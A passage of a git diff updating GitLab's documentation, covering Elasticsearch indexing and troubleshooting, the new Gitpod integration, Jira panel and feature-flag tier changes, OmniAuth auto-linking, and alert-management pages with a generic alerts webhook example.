process, you can [tune for indexing speed](https://www.elastic.co/guide/en/elasticsearch/reference/current/tune-for-indexing-speed.html#tune-for-indexing-speed): + + - You can temporarily disable [`refresh`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html), the operation responsible for making changes to an index available to search. + + - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index will have. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete. + + In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings. + + NOTE: **Note:** + This step is optional but may help significantly speed up large indexing operations. + + ```shell + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ + "index" : { + "refresh_interval" : "-1", + "number_of_replicas" : 0 + } }' + ``` + +1. Index projects and their associated data: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_projects + + # Installations from source + bundle exec rake gitlab:elastic:index_projects RAILS_ENV=production + ``` + + This enqueues a Sidekiq job for each project that needs to be indexed. + You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab** + and click `elastic_indexer`, or you can query indexing status using a Rake task: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_projects_status + + # Installations from source + bundle exec rake gitlab:elastic:index_projects_status RAILS_ENV=production + + Indexing is 65.55% complete (6555/10000 projects) + ``` + + If you want to limit the index to a range of projects you can provide the + `ID_FROM` and `ID_TO` parameters: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 + + # Installations from source + bundle exec rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 RAILS_ENV=production + ``` + + Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional. + The above example will index all projects from ID `1001` up to (and including) ID `2000`. + + TIP: **Troubleshooting:** + Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects` + can get interrupted. This may happen for many reasons, but it's always safe + to run the indexing task again. It will skip repositories that have + already been indexed. + + As the indexer stores the last commit SHA of every indexed repository in the + database, you can run the indexer with the special parameter `UPDATE_INDEX` and + it will check every project repository again to make sure that every commit in + a repository is indexed, which can be useful in case if your index is outdated: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 + + # Installations from source + bundle exec rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 RAILS_ENV=production + ``` + + You can also use the `gitlab:elastic:clear_index_status` Rake task to force the + indexer to "forget" all progress, so it will retry the indexing process from the + start. + +1. Personal snippets are not associated with a project and need to be indexed separately: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_snippets + + # Installations from source + bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production + ``` + +1. Enable replication and refreshing again after indexing (only if you previously disabled it): + + ```shell + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ + "index" : { + "number_of_replicas" : 1, + "refresh_interval" : "1s" + } }' + ``` + + A force merge should be called after enabling the refreshing above. + + For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge: + + ```shell + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ + "settings": { + "index.blocks.write": true + } }' + ``` + + Then, initiate the force merge: + + ```shell + curl --request POST 'localhost:9200/gitlab-production/_forcemerge?max_num_segments=5' + ``` + + After this, if your index is in read-only mode, switch back to read-write: + + ```shell + curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ + "settings": { + "index.blocks.write": false + } }' + ``` + +1. After the indexing has completed, enable [**Search with Elasticsearch enabled**](#enabling-elasticsearch). + ### Deleted documents Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the master branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index. @@ -701,11 +723,11 @@ Here are some common pitfalls and how to overcome them: We continuously make updates to our indexing strategies and aim to support newer versions of Elasticsearch. When indexing changes are made, it may - be necessary for you to [reindex](#adding-gitlabs-data-to-the-elasticsearch-index) after updating GitLab. + be necessary for you to [reindex](#zero-downtime-reindexing) after updating GitLab. - **I indexed all the repositories but I can't find anything** - Make sure you indexed all the database data [as stated above](#adding-gitlabs-data-to-the-elasticsearch-index). + Make sure you indexed all the database data [as stated above](#enabling-elasticsearch). Beyond that, check via the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html) to see if the data shows up on the Elasticsearch side. @@ -734,6 +756,17 @@ Here are some common pitfalls and how to overcome them: You can run `sudo gitlab-rake gitlab:elastic:projects_not_indexed` to display projects that aren't indexed. +- **No new data is added to the Elasticsearch index when I push code** + + NOTE: **Note:** + This was [fixed in GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35936) and the Rake task is not available for versions greater than that. + + When performing the initial indexing of blobs, we lock all projects until the project finishes indexing. It could happen that an error during the process causes one or multiple projects to remain locked. In order to unlock them, run: + + ```shell + sudo gitlab-rake gitlab:elastic:clear_locked_projects + ``` + - **"Can't specify parent if no parent field has been configured"** If you enabled Elasticsearch before GitLab 8.12 and have not rebuilt indexes you will get @@ -801,7 +834,7 @@ Here are some common pitfalls and how to overcome them: ``` You probably have not used either `http://` or `https://` as part of your value in the **"URL"** field of the Elasticsearch Integration Menu. Please make sure you are using either `http://` or `https://` in this field as the [Elasticsearch client for Go](https://github.com/olivere/elastic) that we are using [needs the prefix for the URL to be accepted as valid](https://github.com/olivere/elastic/commit/a80af35aa41856dc2c986204e2b64eab81ccac3a). - Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-elasticsearch-rake-tasks)) and [reindex the content of your instance](#adding-gitlabs-data-to-the-elasticsearch-index). + Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-elasticsearch-rake-tasks)) and [reindex the content of your instance](#enabling-elasticsearch). ### Low-level troubleshooting @@ -815,7 +848,7 @@ There is a [more structured, lower-level troubleshooting document](../administra Improvements to the `code_analyzer` pattern and filters is being discussed in [epic 3621](https://gitlab.com/groups/gitlab-org/-/epics/3621). -### Reverting to basic search +### Reverting to Basic Search Sometimes there may be issues with your Elasticsearch index data and as such GitLab will allow you to revert to "basic search" when there are no search diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md index 8b4ebc337de..cde0093f53e 100644 --- a/doc/integration/external-issue-tracker.md +++ b/doc/integration/external-issue-tracker.md @@ -1,7 +1,7 @@ # External issue tracker GitLab has a great [issue tracker](../user/project/issues/index.md) but you can also use an external one -such as Jira, Redmine, YouTrack, or Bugzilla. External issue trackers are configurable per GitLab project. +such as Jira, Redmine, YouTrack, Bugzilla, or EWM. External issue trackers are configurable per GitLab project. Once configured, you can reference external issues using the format `CODE-123`, where: @@ -26,6 +26,7 @@ Visit the links below for details: - [YouTrack](../user/project/integrations/youtrack.md) - [Jira](../user/project/integrations/jira.md) - [Bugzilla](../user/project/integrations/bugzilla.md) +- [EWM](../user/project/integrations/ewm.md) - [Custom Issue Tracker](../user/project/integrations/custom_issue_tracker.md) ### Service Template diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md new file mode 100644 index 00000000000..f26483e3b5e --- /dev/null +++ b/doc/integration/gitpod.md @@ -0,0 +1,74 @@ +--- +type: reference, how-to +stage: Create +group: Editor +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +--- + +# Gitpod Integration + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228893) in GitLab 13.4. +> - It's [deployed behind a feature flag](#enable-or-disable-the-gitpod-integration), disabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#configure-your-gitlab-instance-with-gitpod). **(CORE ONLY)** + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +With [Gitpod](https://gitpod.io/) you can describe your dev environment as code to get fully set +up, compiled, and tested dev environments for any GitLab project. The dev environments are not only +automated but also prebuilt which means that Gitpod continuously builds your Git branches like a CI +server. By that you don’t have to wait for dependencies to be downloaded and builds to finish, but +you can start coding immediately. + +In short: With Gitpod you can start coding instantly on any project, branch, and merge request from +any device, at any time. + + + +You can launch Gitpod directly from GitLab by clicking the **Gitpod** button from the **Web IDE** +dropdown on the project page: + + + +To learn more about Gitpod, see their [features](https://www.gitpod.io/features/) and +[documentation](https://www.gitpod.io/docs/). + +To use the GitLab-Gitpod integration, you need to enable it from your user preferences: + +1. From the GitLab UI, click your avatar in the top-right corner, then click **Settings**. +1. On the left-hand nav, click **Preferences**. +1. Under **Integrations**, find the **Gitpod** section. +1. Check **Enable Gitpod**. + +Users of GitLab.com can enable it and start using straightaway. Users of GitLab self-managed instances +can follow the same steps once the integration has been enabled and configured by a GitLab administrator. + +## Configure your GitLab instance with Gitpod **(CORE ONLY)** + +If you are new to Gitpod, head over to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/) +and get your instance up and running. + +1. In GitLab, go to **Admin Area > Settings > Integrations**. +1. Expand the **Gitpod** configuration section. +1. Check **Enable Gitpod**. +1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`). + +## Enable or disable the Gitpod integration **(CORE ONLY)** + +The Gitpod integration is under development and not ready for production use. It is deployed behind a +feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:gitpod) +``` + +To disable it: + +```ruby +Feature.disable(:gitpod) diff --git a/doc/integration/img/gitpod_button_project_page_v13_4.png b/doc/integration/img/gitpod_button_project_page_v13_4.png Binary files differnew file mode 100644 index 00000000000..55a70d89169 --- /dev/null +++ b/doc/integration/img/gitpod_button_project_page_v13_4.png diff --git a/doc/integration/img/gitpod_web_interface_v13_4.png b/doc/integration/img/gitpod_web_interface_v13_4.png Binary files differnew file mode 100644 index 00000000000..5cd9a6aad0f --- /dev/null +++ b/doc/integration/img/gitpod_web_interface_v13_4.png diff --git a/doc/integration/img/jira_dev_panel_jira_setup_1-1.png b/doc/integration/img/jira_dev_panel_jira_setup_1-1.png Binary files differdeleted file mode 100644 index cef903ac9b4..00000000000 --- a/doc/integration/img/jira_dev_panel_jira_setup_1-1.png +++ /dev/null diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md index 7c646b95ae7..9b7aa5829c1 100644 --- a/doc/integration/jira_development_panel.md +++ b/doc/integration/jira_development_panel.md @@ -4,9 +4,10 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# GitLab Jira Development Panel integration **(PREMIUM)** +# GitLab Jira Development Panel integration **(CORE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2381) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2381) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.4. The Jira Development Panel integration allows you to reference Jira issues within GitLab, displaying activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/) in the issue. It complements the [GitLab Jira integration](../user/project/integrations/jira.md). You may choose to configure both integrations to take advantage of both sets of features. (See a [feature comparison](../user/project/integrations/jira_integrations.md#feature-comparison)). @@ -92,9 +93,6 @@ If you're using GitLab.com and Jira Cloud, we recommend you use the [GitLab for If you're using Jira Cloud, go to **Settings (gear) > Products > DVCS accounts**. 1. Click **Link GitHub Enterprise account** to start creating a new integration. (We're pretending to be GitHub in this integration, until there's additional platform support in Jira.) - -  - 1. Complete the form: Select **GitHub Enterprise** for the **Host** field. @@ -202,13 +200,12 @@ Potential resolutions: - If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later to resolve an identified [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). -- The Jira Development Panel integration requires GitLab Premium, GitLab.com Silver, - or a higher tier. If you're using a lower tier of GitLab, you'll need to upgrade - to use this feature. +- If you're using GitLab Core or GitLab Starter, be sure you're using + GitLab 13.4 or later. [Contact GitLab Support](https://about.gitlab.com/support) if none of these reasons apply. -#### Fixing synchonization issues +#### Fixing synchronization issues If Jira displays incorrect information (such as deleted branches), you may need to resynchronize the information. To do so: @@ -237,12 +234,14 @@ For a walkthrough of the integration with GitLab for Jira, watch [Configure GitL 1. After installing, click **Get started** to go to the configurations page. This page is always available under **Jira Settings > Apps > Manage apps**.  -1. Enter the group or personal namespace in the **Namespace** field and click **Link namespace to Jira**. Make sure you are logged in on GitLab.com and the namespace has a Silver or above license. The user setting up _GitLab for Jira_ must have **Maintainer** access to the GitLab namespace. +1. In **Namespace**, enter the group or personal namespace, and then click + **Link namespace to Jira**. The user setting up *GitLab for Jira* must have + *Maintainer* access to the GitLab namespace. NOTE: **Note:** The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user's token. -  +  After a namespace is added, all future commits, branches and merge requests of all projects under that namespace will be synced to Jira. Past data cannot be synced at the moment. diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md index 09bc795f7ef..1b14b5a986f 100644 --- a/doc/integration/kerberos.md +++ b/doc/integration/kerberos.md @@ -103,7 +103,7 @@ enabled, then your users will be automatically linked to their LDAP accounts on first login. For this to work, some prerequisites must be met: The Kerberos username must match the LDAP user's UID. You can choose which LDAP -attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration-core-only) +attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration) but for Active Directory, this should be `sAMAccountName`. The Kerberos realm must match the domain part of the LDAP user's Distinguished diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index 9dd7f2cd9e1..dd183ad9eb0 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -142,19 +142,22 @@ The chosen OmniAuth provider is now active and can be used to sign in to GitLab ## Automatically Link Existing Users to OmniAuth Users -You can automatically link OmniAuth users with existing GitLab users if their email addresses match by adding the following setting: +> [Introduced in GitLab 13.4.](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36664) + +You can automatically link OmniAuth users with existing GitLab users if their email addresses match. +For example, the following setting is used to enable the auto link feature for both a SAML provider and the Twitter OAuth provider: **For Omnibus installations** ```ruby -gitlab_rails['omniauth_auto_link_user'] = true +gitlab_rails['omniauth_auto_link_user'] = ["saml", "twitter"] ``` **For installations from source** ```yaml omniauth: - auto_link_user: true + auto_link_user: ["saml", "twitter"] ``` ## Configure OmniAuth Providers as External @@ -299,7 +302,7 @@ providers without two factor authentication. Define the allowed providers using an array, e.g. `["twitter", 'google_oauth2']`, or as `true`/`false` to allow all providers or none. This option should only be configured for providers which already have two factor authentication (default: false). -This configration dose not apply to SAML. +This configuration dose not apply to SAML. ```ruby gitlab_rails['omniauth_allow_bypass_two_factor'] = ['twitter', 'google_oauth2'] diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md index 64eac2f9e66..7e0b2518e76 100644 --- a/doc/integration/salesforce.md +++ b/doc/integration/salesforce.md @@ -21,7 +21,7 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create 1. Select **API (Enable OAuth Settings)** and click on **Enable OAuth Settings**. 1. Fill in the application details into the following fields: - **Callback URL**: The callback URL of your GitLab installation. For example, `https://gitlab.example.com/users/auth/salesforce/callback`. - - **Selected OAuth Scopes**: Move **Access your basic information (id, profile, email, address, phone)** and **Allow access to your unique identifier (OpenID)** to the right column. + - **Selected OAuth Scopes**: Move `Access your basic information (id, profile, email, address, phone)` and `Allow access to your unique identifier (openid)` to the right column.  diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index 46a57e72484..fe7be48270a 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -4,9 +4,10 @@ group: Progressive Delivery info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Feature Flags **(PREMIUM)** +# Feature Flags **(STARTER)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433) in GitLab 11.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433) in GitLab 11.4. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4 With Feature Flags, you can deploy your application's new features to production in smaller batches. You can toggle a feature on and off to subsets of users, helping you achieve Continuous Delivery. @@ -16,6 +17,10 @@ delivery from customer launch. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an example of feature flags in action, see [GitLab for Deploys, Feature Flags, and Error Tracking](https://www.youtube.com/embed/5tw2p6lwXxo). +NOTE: **Note:** +The Feature Flags GitLab offer as a feature (described in this document) is not the same method +used for the [development of GitLab](../development/feature_flags/index.md). + ## How it works GitLab uses [Unleash](https://github.com/Unleash/unleash), a feature @@ -50,22 +55,6 @@ To create and enable a feature flag: You can change these settings by clicking the **{pencil}** (edit) button next to any feature flag in the list. -## Rollout strategy (legacy) - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2. - -In GitLab 13.0 and earlier, the **Rollout strategy** setting affects which users will experience -the feature as enabled. Choose the percentage of users that the feature will be enabled -for. The rollout strategy will have no effect if the environment spec is disabled. - -It can be set to: - -- All users -- [Percent of users](#percent-of-users) - - Optionally, you can click the **Include additional user IDs** checkbox and add a list - of specific users IDs to enable the feature for. -- [User IDs](#user-ids) - ## Feature flag strategies > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35555) in GitLab 13.0. @@ -204,6 +193,23 @@ To enable it: Feature.enable(:feature_flags_new_version) ``` +## Rollout strategy (legacy) + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2. +> - [Made read-only](https://gitlab.com/gitlab-org/gitlab/-/issues/220228) in GitLab 13.4. + +In GitLab 13.0 and earlier, the **Rollout strategy** setting affects which users will experience +the feature as enabled. Choose the percentage of users that the feature will be enabled +for. The rollout strategy will have no effect if the environment spec is disabled. + +It can be set to: + +- All users +- [Percent of users](#percent-of-users) + - Optionally, you can click the **Include additional user IDs** checkbox and add a list + of specific users IDs to enable the feature for. +- [User IDs](#user-ids) + ## Disable a feature flag for a specific environment In [GitLab 13.0 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/8621), @@ -332,8 +338,8 @@ unleash = Unleash::Client.new({ }) unleash_context = Unleash::Context.new -# Replace "123" with the id of an authenticated user. -# Note that the context's user id must be a string: +# Replace "123" with the ID of an authenticated user. +# Note that the context's user ID must be a string: # https://unleash.github.io/docs/unleash_context unleash_context.user_id = "123" @@ -344,7 +350,7 @@ else end ``` -## Feature Flag Related Issues +## Feature Flag Related Issues **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36617) in GitLab 13.2. > - It's deployed behind a feature flag, enabled by default. diff --git a/doc/operations/incident_management/alertdetails.md b/doc/operations/incident_management/alert_details.md index 774eaee286f..860e6d32ae4 100644 --- a/doc/operations/incident_management/alertdetails.md +++ b/doc/operations/incident_management/alert_details.md @@ -7,10 +7,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Alert details page Navigate to the Alert details view by visiting the -[Alert list](alerts.md) and selecting an alert from the +[Alert list](./alerts.md) and selecting an alert from the list. You need least Developer [permissions](../../user/permissions.md) to access alerts. +TIP: **Tip:** +To review live examples of GitLab alerts, visit the +[alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management) +for this demo project. Click any alert in the list to examine its alert details +page. + Alerts provide **Overview** and **Alert details** tabs to give you the right amount of information you need. @@ -18,18 +24,18 @@ amount of information you need. The **Overview** tab provides basic information about the alert: - + ## Alert details tab - + -### Update an Alert's status +### Update an alert's status The Alert detail view enables you to update the Alert Status. -See [Create and manage alerts in GitLab](alerts.md) for more details. +See [Create and manage alerts in GitLab](./alerts.md) for more details. -### Create an Issue from an Alert +### Create an issue from an alert > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217745) in GitLab 13.1. @@ -41,7 +47,7 @@ alert by clicking the **View Issue** button. Closing a GitLab issue associated with an alert changes the alert's status to Resolved. See [Create and manage alerts in GitLab](alerts.md) for more details about alert statuses. -### Update an Alert's assignee +### Update an alert's assignee > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1. @@ -57,19 +63,19 @@ GitLab currently only supports a single assignee per alert. 1. To display the list of current alerts, click **{cloud-gear}** **Operations > Alerts**: -  +  1. Select your desired alert to display its **Alert Details View**: -  +  1. If the right sidebar is not expanded, click **{angle-double-right}** **Expand sidebar** to expand it. 1. In the right sidebar, locate the **Assignee** and click **Edit**. From the dropdown menu, select each user you want to assign to the alert. GitLab creates - a [To-Do list item](../../user/todos.md) for each user. + a [to-do list item](../../user/todos.md) for each user. -  +  To remove an assignee, click **Edit** next to the **Assignee** dropdown menu and deselect the user from the list of assignees, or click **Unassigned**. @@ -88,27 +94,27 @@ The following actions will result in a system note: - [Creating an issue based on an alert](#create-an-issue-from-an-alert) - [Assignment of an alert to a user](#update-an-alerts-assignee) - + -### Create a To-Do from an Alert +### Create a to-do from an alert > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1. You can manually create [To-Do list items](../../user/todos.md) for yourself from the -Alert details screen, and view them later on your **To-Do List**. To add a To-Do: +Alert details screen, and view them later on your **To-Do List**. To add a to-do: 1. To display the list of current alerts, click **{cloud-gear}** **Operations > Alerts**. 1. Select your desired alert to display its **Alert Management Details View**. 1. Click the **Add a To-Do** button in the right sidebar: -  +  -Click the **To-Do** **{todo-done}** in the navigation bar to view your current To-Do list. +Click the **To-Do** **{todo-done}** in the navigation bar to view your current to-do list. - + -### View an Alert's metrics data +### View an alert's metrics data > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2. @@ -145,10 +151,10 @@ notifications, simplifying communication and ownership of the alert. After completing their portion of investigating or fixing the alert, users can unassign their account from the alert when their role is complete. -The alert status can be updated on the [Alert list](alerts.md) to +The alert status can be updated on the [Alert list](./alerts.md) to reflect if the alert has been resolved. -## View an Alert's logs +## View an alert's logs > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.3. diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index 5a5fc59d5e3..d908af63000 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -14,7 +14,7 @@ but you can change the sort order by clicking the headers in the Alert Managemen The alert list displays the following information: - + - **Search** - The alert list supports a simple free text search on the title, description, monitoring tool, and service fields. @@ -31,6 +31,10 @@ The alert list displays the following information: - **Triggered**: No one has begun investigation. - **Acknowledged**: Someone is actively investigating the problem. - **Resolved**: No further work is required. + +TIP: **Tip:** +Check out a [live example](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management) +in GitLab to examine alerts in action. ## Enable Alerts @@ -58,7 +62,7 @@ To populate the alerts with data, read You can configure an externally-managed Prometheus instance to send alerts to GitLab. To set up this configuration, read the [configuring Prometheus](../metrics/alerts.md#external-prometheus-instances) documentation. Activating the external Prometheus -configuration also enables the [Alerts list](alerts.md). +configuration also enables the [Alerts list](./alerts.md). To populate the alerts with data, read [External Prometheus instances](../metrics/alerts.md#external-prometheus-instances). @@ -67,11 +71,11 @@ To populate the alerts with data, read GitLab provides the Generic Alerts endpoint so you can accept alerts from a third-party alerts service. Read the -[instructions for toggling generic alerts](../../user/project/integrations/generic_alerts.md#setting-up-generic-alerts) +[instructions for toggling generic alerts](generic_alerts.md#setting-up-generic-alerts) to add this option. After configuring the endpoint, the -[Alerts list](alerts.md) is enabled. +[Alerts list](./alerts.md) is enabled. -To populate the alerts with data, read [Customizing the payload](../../user/project/integrations/generic_alerts.md#customizing-the-payload) for requests to the alerts endpoint. +To populate the alerts with data, read [Customizing the payload](./generic_alerts.md#customizing-the-payload) for requests to the alerts endpoint. ### Opsgenie integration **(PREMIUM)** @@ -82,7 +86,7 @@ A new way of monitoring Alerts via a GitLab integration is with NOTE: **Note:** If you enable the Opsgenie integration, you can't have other GitLab alert services, -such as [Generic Alerts](../../user/project/integrations/generic_alerts.md) or +such as [Generic Alerts](./generic_alerts.md) or Prometheus alerts, active at the same time. To enable Opsgenie integration: @@ -104,7 +108,7 @@ Each level of alert contains a uniquely shaped and color-coded icon to help you identify the severity of a particular alert. These severity icons help you immediately identify which alerts you should prioritize investigating: - + Alerts contain one of the following icons: diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md new file mode 100644 index 00000000000..11d4dbc6924 --- /dev/null +++ b/doc/operations/incident_management/generic_alerts.md @@ -0,0 +1,126 @@ +--- +stage: Monitor +group: Health +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Generic alerts integration + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.4. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.8. + +GitLab can accept alerts from any source via a generic webhook receiver. +When you set up the generic alerts integration, a unique endpoint will +be created which can receive a payload in JSON format, and will in turn +create an issue with the payload in the body of the issue. You can always +[customize the payload](#customizing-the-payload) to your liking. + +The entire payload will be posted in the issue discussion as a comment +authored by the GitLab Alert Bot. + +NOTE: **Note:** +In GitLab versions 13.1 and greater, you can configure +[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) +to use this endpoint. + +## Setting up generic alerts + +To obtain credentials for setting up a generic alerts integration: + +- Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project. +- Navigate to the **Operations** page for your project, depending on your installed version of GitLab: + - *In GitLab versions 13.1 and greater,* navigate to **Settings > Operations** in your project. + - *In GitLab versions prior to 13.1,* navigate to **Settings > Integrations** in your project. GitLab will display a banner encouraging you to enable the Alerts endpoint in **Settings > Operations** instead. +- Click **Alerts endpoint**. +- Toggle the **Active** alert setting to display the **URL** and **Authorization Key** for the webhook configuration. + +## Customizing the payload + +You can customize the payload by sending the following parameters. All fields other than `title` are optional: + +| Property | Type | Description | +| -------- | ---- | ----------- | +| `title` | String | The title of the incident. Required. | +| `description` | String | A high-level summary of the problem. | +| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue will be used. | +| `end_time` | DateTime | For existing alerts only. When provided, the alert is resolved and the associated incident is closed. | +| `service` | String | The affected service. | +| `monitoring_tool` | String | The name of the associated monitoring tool. | +| `hosts` | String or Array | One or more hosts, as to where this incident occurred. | +| `severity` | String | The severity of the alert. Must be one of `critical`, `high`, `medium`, `low`, `info`, `unknown`. Default is `critical`. | +| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. | +| `gitlab_environment_name` | String | The name of the associated GitLab [environment](../../ci/environments/index.md). This can be used to associate your alert to your environment. | + +You can also add custom fields to the alert's payload. The values of extra parameters +are not limited to primitive types, such as strings or numbers, but can be a nested +JSON object. For example: + +```json +{ "foo": { "bar": { "baz": 42 } } } +``` + +TIP: **Payload size:** +Ensure your requests are smaller than the [payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads). + +Example request: + +```shell +curl --request POST \ + --data '{"title": "Incident title"}' \ + --header "Authorization: Bearer <authorization_key>" \ + --header "Content-Type: application/json" \ + <url> +``` + +The `<authorization_key>` and `<url>` values can be found when [setting up generic alerts](#setting-up-generic-alerts). + +Example payload: + +```json +{ + "title": "Incident title", + "description": "Short description of the incident", + "start_time": "2019-09-12T06:00:55Z", + "service": "service affected", + "monitoring_tool": "value", + "hosts": "value", + "severity": "high", + "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385", + "foo": { + "bar": { + "baz": 42 + } + } +} +``` + +## Triggering test alerts + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Core in 13.2. + +After a [project maintainer or owner](#setting-up-generic-alerts) +[configures generic alerts](#setting-up-generic-alerts), you can trigger a +test alert to confirm your integration works properly. + +1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md). +1. Navigate to **Settings > Operations** in your project. +1. Click **Alerts endpoint** to expand the section. +1. Enter a sample payload in **Alert test payload** (valid JSON is required). +1. Click **Test alert payload**. + +GitLab displays an error or success message, depending on the outcome of your test. + +## Automatic grouping of identical alerts **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. + +In GitLab versions 13.2 and greater, GitLab groups alerts based on their payload. +When an incoming alert contains the same payload as another alert (excluding the +`start_time` and `hosts` attributes), GitLab groups these alerts together and +displays a counter on the +[Alert Management List](./incidents.md) +and details pages. + +If the existing alert is already `resolved`, then a new alert will be created instead. + + diff --git a/doc/user/project/operations/img/alert_list_v13_1.png 